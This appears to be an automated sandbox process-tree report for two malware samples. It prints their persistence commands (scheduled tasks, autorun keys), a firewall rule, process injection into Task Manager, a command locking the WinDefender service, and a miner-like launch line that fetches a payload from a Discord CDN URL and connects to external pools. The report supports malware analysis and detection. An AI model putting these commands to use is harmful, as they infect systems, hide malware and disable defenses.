    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:11436
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:3696
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:2500
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:1356
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:4568
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:11184
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:2300
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:4184

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- Executes dropped EXE
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:5056

C:\Users\Admin\Desktop\virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
"C:\Users\Admin\Desktop\virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2208
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5092
- C:\Users\Admin\Desktop\virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
  "C:\Users\Admin\Desktop\virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  PID:4988
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:4672
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    PID:4440
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:3084
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1464
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2224
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Manipulates WinMonFS driver.
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    PID:1596
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2300
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      PID:3464
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:3972
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:3548
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:4972
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      PID:816
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:4912
  - - C:\Windows\windefender.exe
      "C:\Windows\windefender.exe"
      4⤵
      Executes dropped EXE
      PID:3008
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        5⤵
        
        PID:448
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:4660
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      PID:6604
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
      4⤵
      PID:5504
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      PID:6072
  - - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      4⤵
      PID:6112
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Loads dropped DLL
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      PID:5692
  - - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      4⤵
      Loads dropped DLL
      PID:5596
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      PID:5660
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      PID:7536
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Loads dropped DLL
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      PID:11128
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Loads dropped DLL
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      PID:7720

C:\Users\Admin\Desktop\virussign.com_0d1d052a017c095816dffa6e1789be93.exe
"C:\Users\Admin\Desktop\virussign.com_0d1d052a017c095816dffa6e1789be93.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies registry class
PID:4568
- C:\Windows\SysWOW64\Bobihl32.exe
  C:\Windows\system32\Bobihl32.exe
  2⤵
  - Executes dropped EXE
  PID:580
- - C:\Windows\SysWOW64\Bjgnfd32.exe
    C:\Windows\system32\Bjgnfd32.exe
    3⤵
    - Executes dropped EXE
    PID:4608
  - - C:\Windows\SysWOW64\Bfnnkeio.exe
      C:\Windows\system32\Bfnnkeio.exe
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:1524
    - - C:\Windows\SysWOW64\Cmjcmooi.exe
        
        C:\Windows\system32\Cmjcmooi.exe
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        
        PID:4104
      - C:\Windows\SysWOW64\Ccdkji32.exe
        
        C:\Windows\system32\Ccdkji32.exe
        6⤵
        Executes dropped EXE
        
        PID:2912
        
        C:\Windows\SysWOW64\Cjqqlc32.exe
        
        C:\Windows\system32\Cjqqlc32.exe
        7⤵
        Executes dropped EXE
        Drops file in System32 directory
        
        PID:4472
        
        C:\Windows\SysWOW64\Cpnidj32.exe
        
        C:\Windows\system32\Cpnidj32.exe
        8⤵
        Executes dropped EXE
        
        PID:2276
        
        C:\Windows\SysWOW64\Cfgaadad.exe
        
        C:\Windows\system32\Cfgaadad.exe
        9⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:1040
        
        C:\Windows\SysWOW64\Dmkldm32.exe
        
        C:\Windows\system32\Dmkldm32.exe
        10⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:3540
        
        C:\Windows\SysWOW64\Dhpqafpl.exe
        
        C:\Windows\system32\Dhpqafpl.exe
        11⤵
        Executes dropped EXE
        
        PID:2184
        
        C:\Windows\SysWOW64\Diamin32.exe
        
        C:\Windows\system32\Diamin32.exe
        12⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Executes dropped EXE
        Drops file in System32 directory
        
        PID:5092
        
        C:\Windows\SysWOW64\Ejfcnp32.exe
        
        C:\Windows\system32\Ejfcnp32.exe
        13⤵
        Executes dropped EXE
        
        PID:2644
        
        C:\Windows\SysWOW64\Eapkkjqd.exe
        
        C:\Windows\system32\Eapkkjqd.exe
        14⤵
        Executes dropped EXE
        
        PID:1608
        
        C:\Windows\SysWOW64\Ednggfph.exe
        
        C:\Windows\system32\Ednggfph.exe
        15⤵
        Executes dropped EXE
        
        PID:2300
        
        C:\Windows\SysWOW64\Eabhpj32.exe
        
        C:\Windows\system32\Eabhpj32.exe
        16⤵
        Executes dropped EXE
        
        PID:3416
        
        C:\Windows\SysWOW64\Eimldl32.exe
        
        C:\Windows\system32\Eimldl32.exe
        17⤵
        Executes dropped EXE
        Drops file in System32 directory
        
        PID:2844
        
        C:\Windows\SysWOW64\Ehnmbddl.exe
        
        C:\Windows\system32\Ehnmbddl.exe
        18⤵
        Executes dropped EXE
        
        PID:892
        
        C:\Windows\SysWOW64\Ejmioo32.exe
        
        C:\Windows\system32\Ejmioo32.exe
        19⤵
        Executes dropped EXE
        
        PID:412
        
        C:\Windows\SysWOW64\Epjagf32.exe
        
        C:\Windows\system32\Epjagf32.exe
        20⤵
        Executes dropped EXE
        
        PID:1520
        
        C:\Windows\SysWOW64\Ffcjcpid.exe
        
        C:\Windows\system32\Ffcjcpid.exe
        21⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Executes dropped EXE
        Modifies registry class
        
        PID:4476
        
        C:\Windows\SysWOW64\Fibfplhg.exe
        
        C:\Windows\system32\Fibfplhg.exe
        22⤵
        Executes dropped EXE
        
        PID:4672
        
        C:\Windows\SysWOW64\Fainaihj.exe
        
        C:\Windows\system32\Fainaihj.exe
        23⤵
        Executes dropped EXE
        
        PID:2040
        
        C:\Windows\SysWOW64\Fkabjo32.exe
        
        C:\Windows\system32\Fkabjo32.exe
        24⤵
        Executes dropped EXE
        
        PID:1720
        
        C:\Windows\SysWOW64\Fpnkbema.exe
        
        C:\Windows\system32\Fpnkbema.exe
        25⤵
        Executes dropped EXE
        
        PID:5016
        
        C:\Windows\SysWOW64\Fpqggeko.exe
        
        C:\Windows\system32\Fpqggeko.exe
        26⤵
        Executes dropped EXE
        
        PID:4428
        
        C:\Windows\SysWOW64\Fpcdme32.exe
        
        C:\Windows\system32\Fpcdme32.exe
        27⤵
        Executes dropped EXE
        
        PID:736
        
        C:\Windows\SysWOW64\Fhjlnb32.exe
        
        C:\Windows\system32\Fhjlnb32.exe
        28⤵
        Executes dropped EXE
        
        PID:4440
        
        C:\Windows\SysWOW64\Fkhhjn32.exe
        
        C:\Windows\system32\Fkhhjn32.exe
        29⤵
        Executes dropped EXE
        
        PID:4164
        
        C:\Windows\SysWOW64\Fabqghpo.exe
        
        C:\Windows\system32\Fabqghpo.exe
        30⤵
        Executes dropped EXE
        
        PID:1416
        
        C:\Windows\SysWOW64\Ghmidb32.exe
        
        C:\Windows\system32\Ghmidb32.exe
        31⤵
        Executes dropped EXE
        
        PID:4304
        
        C:\Windows\SysWOW64\Ginekjnj.exe
        
        C:\Windows\system32\Ginekjnj.exe
        32⤵
        Executes dropped EXE
        
        PID:4780
        
        C:\Windows\SysWOW64\Gaemmgnl.exe
        
        C:\Windows\system32\Gaemmgnl.exe
        33⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:4644
        
        C:\Windows\SysWOW64\Ghoeiaei.exe
        
        C:\Windows\system32\Ghoeiaei.exe
        34⤵
        Executes dropped EXE
        
        PID:2556
        
        C:\Windows\SysWOW64\Gipbaj32.exe
        
        C:\Windows\system32\Gipbaj32.exe
        35⤵
        Executes dropped EXE
        
        PID:380
        
        C:\Windows\SysWOW64\Gpjjndcd.exe
        
        C:\Windows\system32\Gpjjndcd.exe
        36⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Executes dropped EXE
        Drops file in System32 directory
        Modifies registry class
        
        PID:1780
        
        C:\Windows\SysWOW64\Gnnkghbn.exe
        
        C:\Windows\system32\Gnnkghbn.exe
        37⤵
        Executes dropped EXE
        
        PID:532
        
        C:\Windows\SysWOW64\Gplgccaa.exe
        
        C:\Windows\system32\Gplgccaa.exe
        38⤵
        Executes dropped EXE
        
        PID:1464
        
        C:\Windows\SysWOW64\Ghcoda32.exe
        
        C:\Windows\system32\Ghcoda32.exe
        39⤵
        Executes dropped EXE
        
        PID:2056
        
        C:\Windows\SysWOW64\Galcmfhd.exe
        
        C:\Windows\system32\Galcmfhd.exe
        40⤵
        Executes dropped EXE
        
        PID:1800
        
        C:\Windows\SysWOW64\Ghfljq32.exe
        
        C:\Windows\system32\Ghfljq32.exe
        41⤵
        Executes dropped EXE
        
        PID:748
        
        C:\Windows\SysWOW64\Gkdhfl32.exe
        
        C:\Windows\system32\Gkdhfl32.exe
        42⤵
        Executes dropped EXE
        
        PID:1308
        
        C:\Windows\SysWOW64\Gnbdbg32.exe
        
        C:\Windows\system32\Gnbdbg32.exe
        43⤵
        Executes dropped EXE
        
        PID:1612
        
        C:\Windows\SysWOW64\Hdmloaee.exe
        
        C:\Windows\system32\Hdmloaee.exe
        44⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Executes dropped EXE
        
        PID:3948
        
        C:\Windows\SysWOW64\Haqmhf32.exe
        
        C:\Windows\system32\Haqmhf32.exe
        45⤵
        Executes dropped EXE
        
        PID:2244
        
        C:\Windows\SysWOW64\Hjlamh32.exe
        
        C:\Windows\system32\Hjlamh32.exe
        46⤵
        Executes dropped EXE
        
        PID:116
        
        C:\Windows\SysWOW64\Hpfjibig.exe
        
        C:\Windows\system32\Hpfjibig.exe
        47⤵
        Executes dropped EXE
        Drops file in System32 directory
        
        PID:3696
        
        C:\Windows\SysWOW64\Hkkngk32.exe
        
        C:\Windows\system32\Hkkngk32.exe
        48⤵
        Executes dropped EXE
        Drops file in System32 directory
        
        PID:3316
        
        C:\Windows\SysWOW64\Hdcbpqom.exe
        
        C:\Windows\system32\Hdcbpqom.exe
        49⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:2860
        
        C:\Windows\SysWOW64\Hknklk32.exe
        
        C:\Windows\system32\Hknklk32.exe
        50⤵
        Executes dropped EXE
        
        PID:3476
        
        C:\Windows\SysWOW64\Hahcieng.exe
        
        C:\Windows\system32\Hahcieng.exe
        51⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:2820
        
        C:\Windows\SysWOW64\Hdfoepmk.exe
        
        C:\Windows\system32\Hdfoepmk.exe
        52⤵
        Executes dropped EXE
        
        PID:1888
        
        C:\Windows\SysWOW64\Hkpgbjdh.exe
        
        C:\Windows\system32\Hkpgbjdh.exe
        53⤵
        Executes dropped EXE
        
        PID:3216
        
        C:\Windows\SysWOW64\Iajpod32.exe
        
        C:\Windows\system32\Iajpod32.exe
        54⤵
        Executes dropped EXE
        
        PID:1528
        
        C:\Windows\SysWOW64\Ihdhkoca.exe
        
        C:\Windows\system32\Ihdhkoca.exe
        55⤵
        Executes dropped EXE
        
        PID:3392
        
        C:\Windows\SysWOW64\Inqqceai.exe
        
        C:\Windows\system32\Inqqceai.exe
        56⤵
        Executes dropped EXE
        
        PID:4444
        
        C:\Windows\SysWOW64\Igielk32.exe
        
        C:\Windows\system32\Igielk32.exe
        57⤵
        
        PID:3708
        
        C:\Windows\SysWOW64\Incmie32.exe
        
        C:\Windows\system32\Incmie32.exe
        58⤵
        
        PID:4788
        
        C:\Windows\SysWOW64\Idmefogc.exe
        
        C:\Windows\system32\Idmefogc.exe
        59⤵
        
        PID:3508
        
        C:\Windows\SysWOW64\Ijjnnfej.exe
        
        C:\Windows\system32\Ijjnnfej.exe
        60⤵
        
        PID:4344
        
        C:\Windows\SysWOW64\Idobkoep.exe
        
        C:\Windows\system32\Idobkoep.exe
        61⤵
        
        PID:3684
        
        C:\Windows\SysWOW64\Ignngjdd.exe
        
        C:\Windows\system32\Ignngjdd.exe
        62⤵
        Modifies registry class
        
        PID:388
        
        C:\Windows\SysWOW64\Iqfcppkd.exe
        
        C:\Windows\system32\Iqfcppkd.exe
        63⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Drops file in System32 directory
        Modifies registry class
        
        PID:5096
        
        C:\Windows\SysWOW64\Ihmkamkf.exe
        
        C:\Windows\system32\Ihmkamkf.exe
        64⤵
        
        PID:2008
        
        C:\Windows\SysWOW64\Jnjcjdin.exe
        
        C:\Windows\system32\Jnjcjdin.exe
        65⤵
        Modifies registry class
        
        PID:400
        
        C:\Windows\SysWOW64\Jhpggmid.exe
        
        C:\Windows\system32\Jhpggmid.exe
        66⤵
        
        PID:1656
        
        C:\Windows\SysWOW64\Jkndchhh.exe
        
        C:\Windows\system32\Jkndchhh.exe
        67⤵
        
        PID:3468
        
        C:\Windows\SysWOW64\Jbhlpb32.exe
        
        C:\Windows\system32\Jbhlpb32.exe
        68⤵
        
        PID:2940
        
        C:\Windows\SysWOW64\Jhbdmm32.exe
        
        C:\Windows\system32\Jhbdmm32.exe
        69⤵
        Modifies registry class
        
        PID:4980
        
        C:\Windows\SysWOW64\Jhdabl32.exe
        
        C:\Windows\system32\Jhdabl32.exe
        70⤵
        
        PID:4564
        
        C:\Windows\SysWOW64\Jkbmng32.exe
        
        C:\Windows\system32\Jkbmng32.exe
        71⤵
        Drops file in System32 directory
        Modifies registry class
        
        PID:2224
        
        C:\Windows\SysWOW64\Jdkagm32.exe
        
        C:\Windows\system32\Jdkagm32.exe
        72⤵
        Drops file in System32 directory
        
        PID:3988
        
        C:\Windows\SysWOW64\Jginci32.exe
        
        C:\Windows\system32\Jginci32.exe
        73⤵
        
        PID:1512
        
        C:\Windows\SysWOW64\Jncfpbac.exe
        
        C:\Windows\system32\Jncfpbac.exe
        74⤵
        
        PID:4180
        
        C:\Windows\SysWOW64\Jqbblnqg.exe
        
        C:\Windows\system32\Jqbblnqg.exe
        75⤵
        
        PID:1148
        
        C:\Windows\SysWOW64\Jiijmkai.exe
        
        C:\Windows\system32\Jiijmkai.exe
        76⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:2092
        
        C:\Windows\SysWOW64\Jjjgec32.exe
        
        C:\Windows\system32\Jjjgec32.exe
        77⤵
        
        PID:4636
        
        C:\Windows\SysWOW64\Kbaofa32.exe
        
        C:\Windows\system32\Kbaofa32.exe
        78⤵
        
        PID:2932
        
        C:\Windows\SysWOW64\Kikgck32.exe
        
        C:\Windows\system32\Kikgck32.exe
        79⤵
        
        PID:4284
        
        C:\Windows\SysWOW64\Kkjcof32.exe
        
        C:\Windows\system32\Kkjcof32.exe
        80⤵
        
        PID:3792
        
        C:\Windows\SysWOW64\Kqflgn32.exe
        
        C:\Windows\system32\Kqflgn32.exe
        81⤵
        Modifies registry class
        
        PID:3068
        
        C:\Windows\SysWOW64\Kindhk32.exe
        
        C:\Windows\system32\Kindhk32.exe
        82⤵
        
        PID:3268
        
        C:\Windows\SysWOW64\Kjoppccb.exe
        
        C:\Windows\system32\Kjoppccb.exe
        83⤵
        
        PID:1008
        
        C:\Windows\SysWOW64\Kipqnj32.exe
        
        C:\Windows\system32\Kipqnj32.exe
        84⤵
        
        PID:4960
        
        C:\Windows\SysWOW64\Kknmjfje.exe
        
        C:\Windows\system32\Kknmjfje.exe
        85⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Modifies registry class
        
        PID:2764
        
        C:\Windows\SysWOW64\Kegack32.exe
        
        C:\Windows\system32\Kegack32.exe
        86⤵
        
        PID:1204
        
        C:\Windows\SysWOW64\Kjcjkb32.exe
        
        C:\Windows\system32\Kjcjkb32.exe
        87⤵
        
        PID:1620
        
        C:\Windows\SysWOW64\Ljffqbmj.exe
        
        C:\Windows\system32\Ljffqbmj.exe
        88⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:4924
        
        C:\Windows\SysWOW64\Lekknkmp.exe
        
        C:\Windows\system32\Lekknkmp.exe
        89⤵
        
        PID:4212
        
        C:\Windows\SysWOW64\Ljhcfakg.exe
        
        C:\Windows\system32\Ljhcfakg.exe
        90⤵
        
        PID:5136
        
        C:\Windows\SysWOW64\Lbpkgokj.exe
        
        C:\Windows\system32\Lbpkgokj.exe
        91⤵
        
        PID:5176
        
        C:\Windows\SysWOW64\Liicdi32.exe
        
        C:\Windows\system32\Liicdi32.exe
        92⤵
        
        PID:5224
        
        C:\Windows\SysWOW64\Lnfllpan.exe
        
        C:\Windows\system32\Lnfllpan.exe
        93⤵
        
        PID:5264
        
        C:\Windows\SysWOW64\Lgopee32.exe
        
        C:\Windows\system32\Lgopee32.exe
        94⤵
        Drops file in System32 directory
        Modifies registry class
        
        PID:5312
        
        C:\Windows\SysWOW64\Ljmmaa32.exe
        
        C:\Windows\system32\Ljmmaa32.exe
        95⤵
        
        PID:5348
        
        C:\Windows\SysWOW64\Lbddbn32.exe
        
        C:\Windows\system32\Lbddbn32.exe
        96⤵
        
        PID:5388
        
        C:\Windows\SysWOW64\Linmohoa.exe
        
        C:\Windows\system32\Linmohoa.exe
        97⤵
        
        PID:5436
        
        C:\Windows\SysWOW64\Lllikdne.exe
        
        C:\Windows\system32\Lllikdne.exe
        98⤵
        
        PID:5480
        
        C:\Windows\SysWOW64\Lnkegomi.exe
        
        C:\Windows\system32\Lnkegomi.exe
        99⤵
        
        PID:5528
        
        C:\Windows\SysWOW64\Laiack32.exe
        
        C:\Windows\system32\Laiack32.exe
        100⤵
        
        PID:5568
        
        C:\Windows\SysWOW64\Liqieh32.exe
        
        C:\Windows\system32\Liqieh32.exe
        101⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:5612
        
        C:\Windows\SysWOW64\Mjaflpbm.exe
        
        C:\Windows\system32\Mjaflpbm.exe
        102⤵
        
        PID:5656
        
        C:\Windows\SysWOW64\Malnij32.exe
        
        C:\Windows\system32\Malnij32.exe
        103⤵
        
        PID:5700
        
        C:\Windows\SysWOW64\Mheffdaf.exe
        
        C:\Windows\system32\Mheffdaf.exe
        104⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:5740
        
        C:\Windows\SysWOW64\Mnpobo32.exe
        
        C:\Windows\system32\Mnpobo32.exe
        105⤵
        
        PID:5784
        
        C:\Windows\SysWOW64\Mankojhg.exe
        
        C:\Windows\system32\Mankojhg.exe
        106⤵
        
        PID:5828
        
        C:\Windows\SysWOW64\Miecpgii.exe
        
        C:\Windows\system32\Miecpgii.exe
        107⤵
        Modifies registry class
        
        PID:5868
        
        C:\Windows\SysWOW64\Mjfogp32.exe
        
        C:\Windows\system32\Mjfogp32.exe
        108⤵
        Drops file in System32 directory
        
        PID:5916
        
        C:\Windows\SysWOW64\Mbngim32.exe
        
        C:\Windows\system32\Mbngim32.exe
        109⤵
        
        PID:5952
        
        C:\Windows\SysWOW64\Migpeggf.exe
        
        C:\Windows\system32\Migpeggf.exe
        110⤵
        
        PID:6000
        
        C:\Windows\SysWOW64\Mlflabfj.exe
        
        C:\Windows\system32\Mlflabfj.exe
        111⤵
        Drops file in System32 directory
        
        PID:6044
        
        C:\Windows\SysWOW64\Mbpdnm32.exe
        
        C:\Windows\system32\Mbpdnm32.exe
        112⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Modifies registry class
        
        PID:6084
        
        C:\Windows\SysWOW64\Menpjhlk.exe
        
        C:\Windows\system32\Menpjhlk.exe
        113⤵
        Modifies registry class
        
        PID:6128
        
        C:\Windows\SysWOW64\Mlhhgb32.exe
        
        C:\Windows\system32\Mlhhgb32.exe
        114⤵
        
        PID:5128
        
        C:\Windows\SysWOW64\Mbbadlkd.exe
        
        C:\Windows\system32\Mbbadlkd.exe
        115⤵
        
        PID:5160
        
        C:\Windows\SysWOW64\Miliqf32.exe
        
        C:\Windows\system32\Miliqf32.exe
        116⤵
        Drops file in System32 directory
        
        PID:5220
        
        C:\Windows\SysWOW64\Nlkemb32.exe
        
        C:\Windows\system32\Nlkemb32.exe
        117⤵
        
        PID:5288
        
        C:\Windows\SysWOW64\Nagnei32.exe
        
        C:\Windows\system32\Nagnei32.exe
        118⤵
        
        PID:5344
        
        C:\Windows\SysWOW64\Niofffqo.exe
        
        C:\Windows\system32\Niofffqo.exe
        119⤵
        
        PID:5416
        
        C:\Windows\SysWOW64\Nlmbbapb.exe
        
        C:\Windows\system32\Nlmbbapb.exe
        120⤵
        
        PID:5472
        
        C:\Windows\SysWOW64\Nbgjol32.exe
        
        C:\Windows\system32\Nbgjol32.exe
        121⤵
        
        PID:5524
        
        C:\Windows\SysWOW64\Neefkg32.exe
        
        C:\Windows\system32\Neefkg32.exe
        122⤵
        
        PID:5596
        
        C:\Windows\SysWOW64\Nhcbgb32.exe
        
        C:\Windows\system32\Nhcbgb32.exe
        123⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:5672
        
        C:\Windows\SysWOW64\Nonkdmmc.exe
        
        C:\Windows\system32\Nonkdmmc.exe
        124⤵
        
        PID:5748
        
        C:\Windows\SysWOW64\Nhfomb32.exe
        
        C:\Windows\system32\Nhfomb32.exe
        125⤵
        
        PID:5796
        
        C:\Windows\SysWOW64\Nblcjkcj.exe
        
        C:\Windows\system32\Nblcjkcj.exe
        126⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        
        PID:5856
        
        C:\Windows\SysWOW64\Nielge32.exe
        
        C:\Windows\system32\Nielge32.exe
        127⤵
        Adds autorun key to be loaded by Explorer.exe on startup
        Modifies registry class
        
        PID:5940
        
        C:\Windows\SysWOW64\Nkghnmpe.exe
        
        C:\Windows\system32\Nkghnmpe.exe
        128⤵
        
        PID:6020
        
        C:\Windows\SysWOW64\Naqqkg32.exe
        
        C:\Windows\system32\Naqqkg32.exe
        129⤵
        
        PID:6092
        
        C:\Windows\SysWOW64\Ohkihaoo.exe
        
        C:\Windows\system32\Ohkihaoo.exe
        130⤵
        
        PID:5124
        
        C:\Windows\SysWOW64\Oodadlgk.exe
        
        C:\Windows\system32\Oodadlgk.exe
        131⤵
        Drops file in System32 directory
        Modifies registry class
        
        PID:3564
        
        C:\Windows\SysWOW64\Oeoiaf32.exe
        
        C:\Windows\system32\Oeoiaf32.exe
        132⤵
        
        PID:5280
        
        C:\Windows\SysWOW64\Ohmema32.exe
        
        C:\Windows\system32\Ohmema32.exe
        133⤵
        
        PID:5380
        
